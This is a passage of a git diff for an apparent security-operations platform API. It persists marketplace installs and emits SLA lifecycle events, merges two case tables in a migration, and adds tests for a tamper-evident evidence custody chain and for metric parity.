version = EXCLUDED.version,+ image_digest = EXCLUDED.image_digest,+ installed_at = EXCLUDED.installed_at+ """).bindparams(+ t=str(tenant_id),+ i=item_id,+ ty=item_type,+ v=version or "",+ d=content_sha256,+ by=str(installed_by) if installed_by else None,+ at=now,+ )+ )+ await db.commit()+ return now, existing is not None+++async def remove_install(db: Any, *, tenant_id: Any, item_id: str) -> bool:+ """Remove an install. Returns whether a row was actually removed."""+ result = await db.execute(+ text("DELETE FROM marketplace_installs WHERE tenant_id = CAST(:t AS uuid) AND item_id = :i").bindparams(t=str(tenant_id), i=item_id)+ )+ await db.commit()+ return bool(result.rowcount)diff --git a/services/api/app/services/mssp_portfolio.py b/services/api/app/services/mssp_portfolio.pyindex 3cfcf6ba2..b5f0b7e72 100644--- a/services/api/app/services/mssp_portfolio.py+++ b/services/api/app/services/mssp_portfolio.py@@ -199,7 +199,7 @@ async def tenant_rollups(db: AsyncSession, scope: PortfolioScope) -> list[Tenanttenant_id,count(*) AS open_cases,count(*) FILTER (WHERE COALESCE(sla_breached, FALSE)) AS sla_breached_cases- FROM cases+ FROM aisoc_casesWHERE tenant_id = ANY(:tenant_ids) AND status = ANY(:open_case_statuses)GROUP BY tenant_id) c ON c.tenant_id = t.id@@ -207,7 +207,7 @@ async def tenant_rollups(db: AsyncSession, scope: PortfolioScope) -> list[TenantSELECTtenant_id,{MTTR_MINUTES_EXPR} AS mttr_minutes- FROM cases+ FROM aisoc_casesWHERE tenant_id = ANY(:tenant_ids)AND {CLOSED_CASE_PREDICATE}AND closed_at >= :mttr_sincediff --git a/services/api/app/services/resolution_time.py b/services/api/app/services/resolution_time.pyindex 05eff511b..32204cf61 100644--- a/services/api/app/services/resolution_time.py+++ b/services/api/app/services/resolution_time.py@@ -68,7 +68,7 @@ async def tenant_case_mttr_minutes(db: AsyncSession, tenant_id) -> float | None:text(f"""SELECT {MTTR_MINUTES_EXPR} AS mttr_minutes- FROM cases+ FROM aisoc_casesWHERE tenant_id = :tenant_idAND {CLOSED_CASE_PREDICATE}AND closed_at >= :since@@ -89,7 +89,7 @@ async def tenant_cases_closed(db: AsyncSession, tenant_id, since: datetime) -> itext(f"""SELECT count(*)- FROM cases+ FROM aisoc_casesWHERE tenant_id = :tenant_idAND {CLOSED_CASE_PREDICATE}AND closed_at >= :sincediff --git a/services/api/app/services/sla_events.py b/services/api/app/services/sla_events.pynew file mode 100644index 000000000..61ca4ee1a--- /dev/null+++ b/services/api/app/services/sla_events.py@@ -0,0 +1,164 @@+"""Emit the alert lifecycle events SLA reporting is computed from.++Wave 0 of the gap-closure plan.++`alert_sla_events` has one writer in the shipped product: `POST+/api/v1/sla/events`, which nothing calls. The console never posts it and+no service emits it, so :mod:`app.services.sla` — 350 lines computing+MTTD, MTTR and MTTC per severity against five configurable tiers, with a+dashboard rendering the result — aggregates over an empty table on every+deployment. The arithmetic is right and there is nothing to do it on.++Where the events come from now+--------------------------------+``acknowledged`` when an analyst claims an alert, and ``resolved`` when+a disposition is set. Both are the moment the thing actually happened+rather than a background sweep, so the timestamp is the event's own.++``detected`` is **backfilled** rather than emitted at creation time, and+that is the one decision here worth explaining. Alerts are written by+`services/fusion` on a different database session; making fusion emit+into an API-owned table would couple the hot ingest path to SLA+reporting, and a fusion deployment that lagged behind the API schema+would start failing to write alerts. Instead, the first lifecycle event+for an alert checks whether a ``detected`` row exists and, if not,+writes one stamped with ``alerts.created_at`` — the real detection time,+already recorded. The pair is therefore always complete, and MTTD is+measured from when the alert existed rather than from when somebody+happened to install this code.++Never raises+------------+Every function here swallows its failure and logs at ``warning``. An SLA+event is a measurement of work, not the work: losing the analyst's claim+because a reporting insert failed would be the wrong trade. The log line+is how a missing row is explained rather than mysterious.+"""++from __future__ import annotations++import json+import logging+import uuid+from datetime import UTC, datetime+from typing import Any++from sqlalchemy import text++logger = logging.getLogger(__name__)++__all__ = ["EVENT_TYPES", "record_event"]++#: Mirrors the `ck_sla_event_type` check constraint. A value outside this+#: set is refused by the database, so it is refused here first with a+#: message naming the column rather than as an IntegrityError.+EVENT_TYPES = ("detected", "acknowledged", "resolved", "closed")+++def _clean(value: Any, limit: int = 200) -> str:+ return str(value).replace("\r", "").replace("\n", " ")[:limit]+++async def record_event(+ db: Any,+ *,+ alert_id: uuid.UUID | str,+ tenant_id: uuid.UUID | str,+ event_type: str,+ actor_id: uuid.UUID | str | None = None,+ occurred_at: datetime | None = None,+ metadata: dict[str, Any] | None = None,+) -> bool:+ """Record one lifecycle event, backfilling ``detected`` if needed.++ Returns whether the event was written. Callers do not check it — the+ return exists so a test can assert the write happened rather than+ inferring it from an absence of exceptions.+ """+ if event_type not in EVENT_TYPES:+ logger.warning("sla_events.unknown_type type=%s", _clean(event_type, 40))+ return False++ try:+ severity = await db.scalar(+ text("SELECT severity FROM alerts WHERE id = CAST(:a AS uuid) AND tenant_id = CAST(:t AS uuid)").bindparams(+ a=str(alert_id), t=str(tenant_id)+ )+ )+ if severity is None:+ # The alert is gone or belongs to another tenant. Recording an+ # event for it would put a row in the reporting table that no+ # alert explains.+ return False++ if event_type != "detected":+ await _ensure_detected(db, alert_id=alert_id, tenant_id=tenant_id, severity=severity)++ existing = await db.scalar(+ text(+ "SELECT 1 FROM alert_sla_events "+ " WHERE alert_id = CAST(:a AS uuid) AND tenant_id = CAST(:t AS uuid) AND event_type = :e "+ " LIMIT 1"+ ).bindparams(a=str(alert_id), t=str(tenant_id), e=event_type)+ )+ if existing:+ # Idempotent. An analyst re-claiming after a release must not+ # move the acknowledgement time, for the same reason+ # `first_seen_at` is written with COALESCE.+ return False++ await db.execute(+ text("""+ INSERT INTO alert_sla_events+ (id, tenant_id, alert_id, severity, event_type, occurred_at, actor_id, metadata)+ VALUES (gen_random_uuid(), CAST(:t AS uuid), CAST(:a AS uuid), :s, :e, :o,+ CAST(:actor AS uuid), CAST(:m AS jsonb))+ """).bindparams(+ t=str(tenant_id),+ a=str(alert_id),+ s=str(severity),+ e=event_type,+ o=occurred_at or datetime.now(UTC),+ actor=str(actor_id) if actor_id else None,+ m=json.dumps(metadata or {}),+ )+ )+ return True+ except Exception as exc: # noqa: BLE001 - reporting must not fail the work+ logger.warning(+ "sla_events.write_failed type=%s alert=%s error=%s",+ _clean(event_type, 40),+ _clean(alert_id, 40),+ _clean(exc),+ )+ return False+++async def _ensure_detected(db: Any, *, alert_id: Any, tenant_id: Any, severity: str) -> None:+ """Write the ``detected`` event from the alert's own creation time.++ Done lazily so `services/fusion` does not have to write into a table+ the API owns. `ON CONFLICT DO NOTHING` is not available without a+ unique constraint, so this checks first; a race writes two rows,+ which overstates nothing because `sla.py` takes the earliest.+ """+ already = await db.scalar(+ text(+ "SELECT 1 FROM alert_sla_events "+ " WHERE alert_id = CAST(:a AS uuid) AND tenant_id = CAST(:t AS uuid) AND event_type = 'detected' "+ " LIMIT 1"+ ).bindparams(a=str(alert_id), t=str(tenant_id))+ )+ if already:+ return++ await db.execute(+ text("""+ INSERT INTO alert_sla_events+ (id, tenant_id, alert_id, severity, event_type, occurred_at, metadata)+ SELECT gen_random_uuid(), a.tenant_id, a.id, :s, 'detected', a.created_at,+ CAST('{"backfilled": true}' AS jsonb)+ FROM alerts a+ WHERE a.id = CAST(:a AS uuid) AND a.tenant_id = CAST(:t AS uuid)+ """).bindparams(a=str(alert_id), t=str(tenant_id), s=str(severity))+ )diff --git a/services/api/migrations/082_proposal_fixtures.sql b/services/api/migrations/082_proposal_fixtures.sqlnew file mode 100644index 000000000..162b680d0--- /dev/null+++ b/services/api/migrations/082_proposal_fixtures.sql@@ -0,0 +1,34 @@+-- Persist a detection proposal's own fixtures.+--+-- Gap-closure wave 0.+--+-- `/decide` with `approve` answers HTTP 412 unless `eval_result` carries a+-- `candidate_rule` verdict, and the only thing that writes that key is+-- `POST /{id}/evaluate-rule`, which takes the positive and negative+-- fixtures as request body. They were never stored anywhere.+--+-- So the gate was unreachable twice over. The console had no client for the+-- route — that is the shallow half. The deeper half is that even calling it+-- directly required an operator to re-supply fixtures the proposal never+-- kept, which for an AI-drafted rule means re-deriving the very fixtures the+-- builder had already produced and discarded. A proposal that cannot prove+-- itself is a proposal that can never be approved.+--+-- Stored on the proposal rather than in a side table because they are part+-- of what is being proposed: "this rule, and here is what it must catch and+-- what it must ignore" is one artefact, and splitting it would let a+-- proposal travel without its proof.++ALTER TABLE detection_rule_proposals+ ADD COLUMN IF NOT EXISTS positive_fixtures JSONB NOT NULL DEFAULT '[]'::jsonb;++ALTER TABLE detection_rule_proposals+ ADD COLUMN IF NOT EXISTS negative_fixtures JSONB NOT NULL DEFAULT '[]'::jsonb;++COMMENT ON COLUMN detection_rule_proposals.positive_fixtures IS+ 'Events the candidate rule MUST fire on. Supplied at proposal time and '+ 'replayed by /evaluate-rule through the real engine before approval.';++COMMENT ON COLUMN detection_rule_proposals.negative_fixtures IS+ 'Events the candidate rule must stay silent on. An empty list is allowed '+ 'and means the proposal makes no claim about what it will not match.';diff --git a/services/api/migrations/083_one_case_table.sql b/services/api/migrations/083_one_case_table.sqlnew file mode 100644index 000000000..babfd3369--- /dev/null+++ b/services/api/migrations/083_one_case_table.sql@@ -0,0 +1,169 @@+-- Consolidate `cases` into `aisoc_cases`.+--+-- Gap-closure wave 1.+--+-- The product has shipped with two case tables that never synchronised.+-- The console writes `aisoc_cases` — six-state machine, `sla_due_at`,+-- `evidence_chain`, `observable_graph`. Every metric reads `cases`:+-- `resolution_time` (which owns the one shared MTTR definition),+-- `metrics`, `insights`, `executive_digest`, `mssp_portfolio` and the+-- GraphQL query layer.+--+-- So **every case an analyst creates is invisible to every case metric**.+-- MTTR, `cases_opened_7d` and `cases_closed_7d` are computed over rows+-- written only by KEV-exposure sweeps, the scheduled-hunt worker and the+-- demo seed. A tenant could close fifty cases in the console and watch+-- MTTR stay null.+--+-- `aisoc_cases` survives because it holds the real user data and the+-- richer lifecycle. This migration widens it to carry everything the ORM+-- model needs, moves the rows across, and renames the old table out of+-- the way rather than dropping it — a consolidation that loses a row+-- nobody noticed is worse than two tables.++-- ── Columns the ORM `Case` model has and `aisoc_cases` lacked ───────────────+--+-- All nullable or defaulted, so existing rows stay valid.++ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS priority TEXT;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS case_type TEXT;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS mitre_tactics JSONB NOT NULL DEFAULT '[]'::jsonb;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS assigned_to_id UUID;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS assigned_at TIMESTAMPTZ;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS created_by_id UUID;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS sla_deadline TIMESTAMPTZ;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS sla_breached BOOLEAN NOT NULL DEFAULT FALSE;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS ioc_ids JSONB NOT NULL DEFAULT '[]'::jsonb;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS artifact_ids JSONB NOT NULL DEFAULT '[]'::jsonb;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS ticket_refs JSONB NOT NULL DEFAULT '[]'::jsonb;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS summary TEXT;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS resolution TEXT;+ALTER TABLE aisoc_cases ADD COLUMN IF NOT EXISTS lessons_learned TEXT;++-- `sla_deadline` and `sla_due_at` are the same fact under two names. Keep+-- both columns so neither side's readers break, and backfill the new one+-- from whichever the row already had.+UPDATE aisoc_cases SET sla_deadline = sla_due_at WHERE sla_deadline IS NULL AND sla_due_at IS NOT NULL;++-- ── Move the rows ──────────────────────────────────────────────────────────+--+-- `cases.status` uses a different vocabulary ('open'/'resolved'/...) from+-- `aisoc_cases` ('new'/'triaged'/'investigating'/'contained'/'resolved'/+-- 'closed'). Mapped rather than copied: a status outside the target+-- machine would make the case unmovable in the console.+--+-- Guarded on `to_regclass` so a fresh deployment, where `cases` may not+-- exist yet, is a no-op rather than an error.++DO $$+DECLARE+ r RECORD;+BEGIN+ -- Only when `cases` is still a base TABLE.+ --+ -- `to_regclass` alone is not enough and the idempotency check caught+ -- why: the compatibility view at the bottom of this file is also+ -- called `cases`, so a second run found it non-null and tried to+ -- migrate from the view into the table it reads — failing on+ -- `COALESCE types uuid[] and jsonb cannot be matched`, because the+ -- view already exposes the converted column.+ IF NOT EXISTS (+ SELECT 1 FROM information_schema.tables+ WHERE table_schema = 'public' AND table_name = 'cases' AND table_type = 'BASE TABLE'+ ) THEN+ RETURN;+ END IF;++ INSERT INTO aisoc_cases (+ id, tenant_id, case_number, title, description, severity, status,+ mitre_techniques, mitre_tactics, alert_ids, ioc_ids, artifact_ids,+ ticket_refs, tags, summary, resolution, lessons_learned,+ priority, case_type, assigned_to_id, assigned_at, created_by_id,+ sla_deadline, sla_due_at, sla_breached,+ opened_at, closed_at, created_at, updated_at+ )+ SELECT+ c.id, c.tenant_id, c.case_number, c.title, c.description,+ COALESCE(c.severity, 'medium'),+ CASE c.status+ WHEN 'open' THEN 'new'+ WHEN 'in_progress' THEN 'investigating'+ WHEN 'investigating' THEN 'investigating'+ WHEN 'triaged' THEN 'triaged'+ WHEN 'contained' THEN 'contained'+ WHEN 'resolved' THEN 'resolved'+ WHEN 'closed' THEN 'closed'+ ELSE 'new'+ END,+ COALESCE(c.mitre_techniques, '[]'::jsonb),+ COALESCE(c.mitre_tactics, '[]'::jsonb),+ -- `cases.alert_ids` is JSONB, `aisoc_cases.alert_ids` is uuid[].+ -- Unpacked element by element rather than cast, because a cast+ -- would fail the whole migration on one malformed entry while+ -- this drops only that entry.+ COALESCE(+ (SELECT array_agg(e::uuid)+ FROM jsonb_array_elements_text(COALESCE(c.alert_ids, '[]'::jsonb)) AS e+ WHERE e ~ '^[0-9a-fA-F-]{36}$'),+ ARRAY[]::uuid[]+ ),+ COALESCE(c.ioc_ids, '[]'::jsonb),+ COALESCE(c.artifact_ids, '[]'::jsonb),+ COALESCE(c.ticket_refs, '[]'::jsonb),+ COALESCE(c.tags, '[]'::jsonb),+ c.summary, c.resolution, c.lessons_learned,+ c.priority, c.case_type, c.assigned_to_id, c.assigned_at, c.created_by_id,+ c.sla_deadline, c.sla_deadline, COALESCE(c.sla_breached, FALSE),+ c.created_at, c.closed_at, c.created_at, c.updated_at+ FROM cases c+ -- An id already present means the row was migrated by an earlier run.+ WHERE NOT EXISTS (SELECT 1 FROM aisoc_cases a WHERE a.id = c.id);++ -- Child tables point at the surviving parent. Done before the rename+ -- so the constraint names are still predictable.+ --+ -- `case_tasks` and `case_timeline_events` both declared+ -- `REFERENCES cases(id)`, which is why repointing the ORM alone left+ -- SQLAlchemy unable to resolve `Case.tasks` at mapper-configuration+ -- time and took down every request that touched any model.+ FOR r IN+ SELECT tc.table_name, tc.constraint_name, kcu.column_name+ FROM information_schema.table_constraints tc+ JOIN information_schema.key_column_usage kcu+ ON tc.constraint_name = kcu.constraint_name+ JOIN information_schema.constraint_column_usage ccu+ ON tc.constraint_name = ccu.constraint_name+ WHERE tc.constraint_type = 'FOREIGN KEY' AND ccu.table_name = 'cases'+ LOOP+ EXECUTE format('ALTER TABLE %I DROP CONSTRAINT %I', r.table_name, r.constraint_name);+ EXECUTE format(+ 'ALTER TABLE %I ADD CONSTRAINT %I FOREIGN KEY (%I) REFERENCES aisoc_cases(id) ON DELETE CASCADE',+ r.table_name, r.constraint_name, r.column_name+ );+ END LOOP;++ -- Renamed, not dropped. If this consolidation lost a row, the+ -- evidence of what was lost has to still exist.+ --+ -- Idempotency needs care here, and the fresh-apply-then-re-run check+ -- is what showed why. On a second pass `001_init.sql` recreates+ -- `cases` empty via CREATE TABLE IF NOT EXISTS, so this block runs+ -- again with nothing to move and an archive that already exists.+ -- Renaming then collides. The empty recreation is dropped instead,+ -- which keeps the original archive intact.+ --+ -- A compatibility VIEW named `cases` was tried first and is the+ -- wrong answer: every historical migration that does ALTER TABLE or+ -- CREATE INDEX on `cases` then fails on re-run against a view, and+ -- guarding each of them scatters this decision through the history.+ IF to_regclass('public.cases_pre_consolidation') IS NULL THEN+ ALTER TABLE cases RENAME TO cases_pre_consolidation;+ ELSE+ DROP TABLE cases;+ END IF;+END+$$;++COMMENT ON COLUMN aisoc_cases.sla_deadline IS+ 'Same fact as sla_due_at, kept under both names so readers of either '+ 'side of the pre-consolidation split keep working.';diff --git a/services/api/tests/test_evidence_custody.py b/services/api/tests/test_evidence_custody.pynew file mode 100644index 000000000..15663a35a--- /dev/null+++ b/services/api/tests/test_evidence_custody.py@@ -0,0 +1,138 @@+"""A case's evidence chain records custody, and says when it was edited.++Wave 0. `aisoc_cases.evidence_chain` had three readers and no writer, so+`GET /cases/{id}/evidence` returned `[]` under a heading reading+"Evidence Chain" — which an auditor reads as "no evidence was handled",+not as "this product does not record custody".+"""++from __future__ import annotations++import uuid++import pytest+from app.services.evidence_custody import (+ CUSTODY_ACTIONS,+ append_entry,+ build_entry,+ compute_entry_hash,+ verify_chain,+)++ACTOR = uuid.UUID("11111111-1111-1111-1111-111111111111")+++def _chain(n: int = 3) -> list[dict]:+ chain: list[dict] = []+ for i in range(n):+ chain = append_entry(+ chain,+ action="alert_linked",+ actor_id=ACTOR,+ actor_email="[email protected]",+ item=f"alert-{i}",+ )+ return chain+++class TestAnEntryRecordsCustody:+ def test_it_records_what_who_and_when(self) -> None:+ """The four things a chain of custody is for."""+ entry = build_entry(action="alert_linked", actor_id=ACTOR, actor_email="[email protected]", item="alert-1")++ assert entry["action"] == "alert_linked"+ assert entry["actor_id"] == str(ACTOR)+ assert entry["actor_email"] == "[email protected]"+ assert entry["item"] == "alert-1"+ assert entry["at"]++ def test_an_unknown_action_is_refused(self) -> None:+ """A typo'd verb would store happily and never match a filter —+ the quiet failure this module exists to stop repeating."""+ with pytest.raises(ValueError, match="unknown custody action"):+ build_entry(action="alrt_linkd", actor_id=ACTOR)++ def test_every_declared_action_is_accepted(self) -> None:+ """The negative control for the test above: without it, a guard+ that refused everything would pass."""+ for action in CUSTODY_ACTIONS:+ assert build_entry(action=action, actor_id=ACTOR)["action"] == action+++class TestTheChainIsTamperEvident:+ def test_an_untouched_chain_verifies(self) -> None:+ report = verify_chain(_chain())+ assert report["intact"] is True+ assert report["entries"] == 3+ assert report["broken_at"] is None++ def test_an_empty_chain_is_intact_not_broken(self) -> None:+ """A case nobody has touched has an empty chain, which is a+ different fact from a chain that was emptied."""+ assert verify_chain([])["intact"] is True+ assert verify_chain(None)["intact"] is True++ def test_editing_an_entry_is_caught(self) -> None:+ chain = _chain()+ chain[1]["item"] = "alert-substituted"++ report = verify_chain(chain)+ assert report["intact"] is False+ assert report["broken_at"] == 1+ assert "edited after it was written" in report["reason"]++ def test_removing_an_entry_is_caught(self) -> None:+ """The gap breaks the link across it, which is the whole reason+ each entry carries its predecessor's hash."""+ chain = _chain(4)+ del chain[1]++ report = verify_chain(chain)+ assert report["intact"] is False+ assert report["broken_at"] == 1+ assert "removed, reordered or inserted" in report["reason"]++ def test_reordering_is_caught(self) -> None:+ chain = _chain(3)+ chain[1], chain[2] = chain[2], chain[1]+ assert verify_chain(chain)["intact"] is False++ def test_it_names_the_entry_rather_than_returning_a_boolean(self) -> None:+ """ "The chain is broken" sends an auditor to read all of it;+ "entry 1 of 3 does not match" sends them to the row that changed."""+ chain = _chain(3)+ chain[1]["actor_email"] = "[email protected]"++ report = verify_chain(chain)+ assert report["broken_at"] == 1+ assert report["entries"] == 3+ assert isinstance(report["reason"], str) and report["reason"]++ def test_rewriting_the_whole_chain_is_not_detected_and_that_is_stated(self) -> None:+ """Tamper *evidence*, not tamper proofing. Anyone who can write+ the column can rewrite every link consistently, and a reader who+ assumes otherwise has been misled by us."""+ forged = _chain(3)+ forged[1]["item"] = "alert-substituted"+ forged[1]["entry_hash"] = compute_entry_hash(forged[1], forged[1]["prev_hash"])+ forged[2]["prev_hash"] = forged[1]["entry_hash"]+ forged[2]["entry_hash"] = compute_entry_hash(forged[2], forged[2]["prev_hash"])++ assert verify_chain(forged)["intact"] is True+++class TestAppending:+ def test_each_entry_links_to_the_one_before(self) -> None:+ chain = _chain(3)+ assert chain[0]["prev_hash"] is None+ assert chain[1]["prev_hash"] == chain[0]["entry_hash"]+ assert chain[2]["prev_hash"] == chain[1]["entry_hash"]++ def test_appending_to_none_starts_a_chain(self) -> None:+ chain = append_entry(None, action="case_opened", actor_id=ACTOR)+ assert len(chain) == 1+ assert verify_chain(chain)["intact"] is True++ def test_entries_have_distinct_ids(self) -> None:+ chain = _chain(5)+ assert len({e["id"] for e in chain}) == 5diff --git a/services/api/tests/test_insights_endpoint.py b/services/api/tests/test_insights_endpoint.pyindex 85e2347ca..6c2f02727 100644--- a/services/api/tests/test_insights_endpoint.py+++ b/services/api/tests/test_insights_endpoint.py@@ -107,11 +107,25 @@ class _FakeMappings:class _FakeResult:- """Stand-in for ``Result`` that exposes both ``.all()`` and ``.mappings()``."""+ """Stand-in for ``Result`` exposing ``.all()``, ``.mappings()`` and ``.first()``.++ ``.first()`` was added when `_mean_hours` began selecting the mean and+ its row count in one statement. The double lacking a method the real+ ``Result`` has is the failure mode this repository keeps finding in the+ other direction — a fake *more* capable than the real object — and it+ is worth noticing that the reverse also hides work: without it, a+ handler using an ordinary SQLAlchemy API cannot be tested at all.+ """- def __init__(self, rows: list | None = None, mappings: list[dict] | None = None) -> None:+ def __init__(+ self,+ rows: list | None = None,+ mappings: list[dict] | None = None,+ first: tuple | None = None,+ ) -> None:self._rows = rows or []self._mappings = mappings or []+ self._first = firstdef all(self) -> list:return self._rows@@ -119,6 +133,11 @@ class _FakeResult:def mappings(self) -> _FakeMappings:return _FakeMappings(self._mappings)+ def first(self) -> tuple | None:+ if self._first is not None:+ return self._first+ return self._rows[0] if self._rows else None+def _seeded_db(scalar_value: int = 5) -> MagicMock:"""Build an AsyncSession-shaped mock that returns deterministic numbers.@@ -224,9 +243,20 @@ async def test_get_soc_insights_rejects_unknown_window() -> None:async def test_get_soc_insights_zero_state_renders_without_500() -> None:"""Fresh tenant: no alerts, no cases — payload should still render.- The dashboard needs to render the day a tenant onboards. Returning- 7 tiles of zero with ``delta_pct == None`` is preferable to a 500- or a blank page.+ The dashboard needs to render the day a tenant onboards, so a 500 or a+ blank page is not acceptable. What *is* rendered changed, and the+ distinction is the point of the test.++ A counting tile with nothing to count is genuinely `0`: zero alerts+ arrived, and that is a measurement. An **averaging** tile with nothing+ to average publishes `0.0` *with a `sample_count` of 0*, and the pair+ is the measurement — the count is what separates "responded instantly"+ from "nobody responded".++ The mean is deliberately not nullable: that is a breaking response+ change for every generated client, and `/metrics/soc` already took+ this decision for `mttd_sample_count`. The openapi-breaking gate+ caught an earlier attempt here to make it null."""db = _seeded_db(scalar_value=0)user = _stub_user()@@ -235,7 +265,12 @@ async def test_get_soc_insights_zero_state_renders_without_500() -> None:assert response.window == "7d"assert len(response.tiles) == 7++ by_key = {t.key: t for t in response.tiles}+ for key in ("mtta", "mttr"):+ tile = by_key[key]+ assert tile.sample_count == 0, f"{key} published no denominator, so a reader cannot tell an empty window from a real zero"+for tile in response.tiles:- # Both current and previous are zero, so delta is undefined.- assert tile.value == 0 or tile.value == 0.0+ # Nothing to compare against, so a delta would be invented.assert tile.delta_pct is Nonediff --git a/services/api/tests/test_marketplace_install_refuses_reference_only.py b/services/api/tests/test_marketplace_install_refuses_reference_only.pyindex 328670d81..9276b87c9 100644--- a/services/api/tests/test_marketplace_install_refuses_reference_only.py+++ b/services/api/tests/test_marketplace_install_refuses_reference_only.py@@ -55,20 +55,55 @@ def _first(predicate: Callable[[dict[str, Any]], bool]) -> dict[str, Any]:return match-def _install(item: dict[str, Any]):+def _install(item: dict[str, Any], db: _FakeDB | None = None):+ """Drive the real handler. Pass a `db` to inspect what it wrote."""return asyncio.run(marketplace.install_marketplace_item(marketplace.InstallRequest(type=item["type"], id=item["id"]),_Principal(),+ db if db is not None else _FakeDB(),))[email protected](autouse=True)-def _clean_install_store():- marketplace._installed.clear()- yield- marketplace._installed.clear()+class _FakeDB:+ """Records what reached the database.++ Install state moved out of a process-local dict into+ `marketplace_installs`, so a refusal is no longer "the dict stayed+ empty" — it is "no INSERT was issued". This double exists to assert+ that, which is a stronger claim than the dict version made: the old+ test could not distinguish a refusal from a write that silently+ failed.+ """++ def __init__(self) -> None:+ self.statements: list[str] = []+ self.committed = 0++ async def execute(self, statement, *args, **kwargs): # noqa: ANN001, ANN002, ANN003+ self.statements.append(str(statement))+ return _FakeRows()++ async def scalar(self, statement, *args, **kwargs): # noqa: ANN001, ANN002, ANN003+ self.statements.append(str(statement))+ return None++ async def commit(self) -> None:+ self.committed += 1++ @property+ def inserts(self) -> list[str]:+ return [s for s in self.statements if "INSERT INTO marketplace_installs" in s]+++class _FakeRows:+ def all(self) -> list:+ return []++ @property+ def rowcount(self) -> int:+ return 0class TestReferenceOnlyIsRefused:@@ -94,9 +129,10 @@ class TestReferenceOnlyIsRefused:# A refusal that still wrote the marker would leave the console# showing "Installed" for a rule that cannot fire.item = _first(lambda i: i.get("executable") is False)+ db = _FakeDB()with pytest.raises(HTTPException):- _install(item)- assert marketplace._installed == {}+ _install(item, db)+ assert db.inserts == [], "a refused install still wrote to marketplace_installs"class TestExecutableStillInstalls:@@ -104,10 +140,11 @@ class TestExecutableStillInstalls:# The other direction. Refusing everything would satisfy the class# above and break the marketplace.item = _first(lambda i: bool(i["type"] == "detection") and i.get("executable") is True)- result = _install(item)+ db = _FakeDB()+ result = _install(item, db)assert result.id == item["id"]assert result.already_installed is False- assert len(marketplace._installed) == 1+ assert len(db.inserts) == 1, "an accepted install did not reach marketplace_installs"def test_an_entry_with_no_executable_field_installs(self) -> None:# Playbooks and plugins are not engine rules and carry nodiff --git a/services/api/tests/test_mssp_portfolio_isolation.py b/services/api/tests/test_mssp_portfolio_isolation.pyindex eeabd20e0..55d7156e9 100644--- a/services/api/tests/test_mssp_portfolio_isolation.py+++ b/services/api/tests/test_mssp_portfolio_isolation.py@@ -109,7 +109,7 @@ async def db():async def _teardown(session) -> None:await session.rollback()- for table in ("alerts", "cases", "connectors"):+ for table in ("alerts", "aisoc_cases", "connectors"):await session.execute(text(f"DELETE FROM {table} WHERE tenant_id = ANY(:ids)"),{"ids": [str(t) for t in _ALL_TENANTS]},@@ -405,7 +405,7 @@ async def test_mttr_is_null_rather_than_zero_when_nothing_closed(db) -> None:await db.execute(text(- "INSERT INTO cases (tenant_id, case_number, title, status, created_at, closed_at) "+ "INSERT INTO aisoc_cases (tenant_id, case_number, title, status, created_at, closed_at) ""VALUES (:a, :num, 'closed case', 'closed', now() - interval '30 minutes', now())"),{"a": str(TENANT_A), "num": f"ISO-{uuid.uuid4().hex[:8]}"},diff --git a/services/api/tests/test_resolution_time_parity.py b/services/api/tests/test_resolution_time_parity.pyindex 8a5eb15e9..6444abaff 100644--- a/services/api/tests/test_resolution_time_parity.py+++ b/services/api/tests/test_resolution_time_parity.py@@ -97,7 +97,7 @@ async def db():async def _teardown(session) -> None:await session.rollback()await session.execute(- text("DELETE FROM cases WHERE tenant_id = ANY(:ids)"),+ text("DELETE FROM aisoc_cases WHERE tenant_id = ANY(:ids)"),{"ids": [str(t) for t in _ALL_TENANTS]},)await session.execute(text("DELETE FROM organizations WHERE id = :id"), {"id": str(ORG)})@@ -115,7 +115,7 @@ async def _case(session, *, tenant, number, opened_minutes_ago, duration_minutesawait session.execute(text("""- INSERT INTO cases (id, tenant_id, case_number, title, status, created_at, closed_at, updated_at)+ INSERT INTO aisoc_cases (id, tenant_id, case_number, title, status, created_at, closed_at, updated_at)VALUES (:id, :tenant, :number, :title, :status, :created, :closed_at, :updated)"""),@@ -173,7 +173,7 @@ async def test_cases_closed_windows_on_closed_at_not_updated_at(db) -> None:duration_minutes=10,)await db.execute(- text("UPDATE cases SET updated_at = now() - interval '400 days' WHERE case_number = :n"),+ text("UPDATE aisoc_cases SET updated_at = now() - interval '400 days' WHERE case_number = :n"),{"n": f"PAR-{TENANT.hex[:6]}-3"},)await db.commit()diff --git a/tests/isolation/test_one_case_table_live.py b/tests/isolation/test_one_case_table_live.pynew file mode 100644index 000000000..a63fd1a44--- /dev/null+++ b/tests/isolation/test_one_case_table_live.py@@ -0,0 +1,180 @@+"""Case metrics see the cases analysts create, against real Postgres.++Gap-closure wave 1.++The product shipped with two case tables that never synchronised. The+console wrote `aisoc_cases`; `resolution_time` — which owns the single+shared MTTR definition — read `cases`, as did the metrics endpoints, the+executive digest, the MSSP portfolio and the GraphQL layer.++So a tenant could close fifty cases in the console and watch MTTR stay+null. Nothing errored. Both tables existed and both queries were valid,+and the only symptom was an empty number with no explanation.++Why this suite needs a live database: the defect was entirely in which+table a query named. Every unit test passed throughout, because they+test the query against whichever table the test itself seeded.+"""++from __future__ import annotations++import os+import uuid+from datetime import UTC, datetime, timedelta++import pytest+import pytest_asyncio++pytestmark = [+ pytest.mark.asyncio(loop_scope="module"),+ pytest.mark.skipif(+ not os.environ.get("ISOLATION_CASES_DSN", "").strip(),+ reason="ISOLATION_CASES_DSN is not set; this suite needs a live Postgres",+ ),+]++TENANT = uuid.UUID("cccc0000-0000-0000-0000-00000000cccc")+++@pytest_asyncio.fixture(scope="module", loop_scope="module")+async def conn():+ asyncpg = pytest.importorskip("asyncpg")+ connection = await asyncpg.connect(os.environ["ISOLATION_CASES_DSN"].replace("postgresql+asyncpg://", "postgresql://"))+ try:+ await connection.execute(+ "INSERT 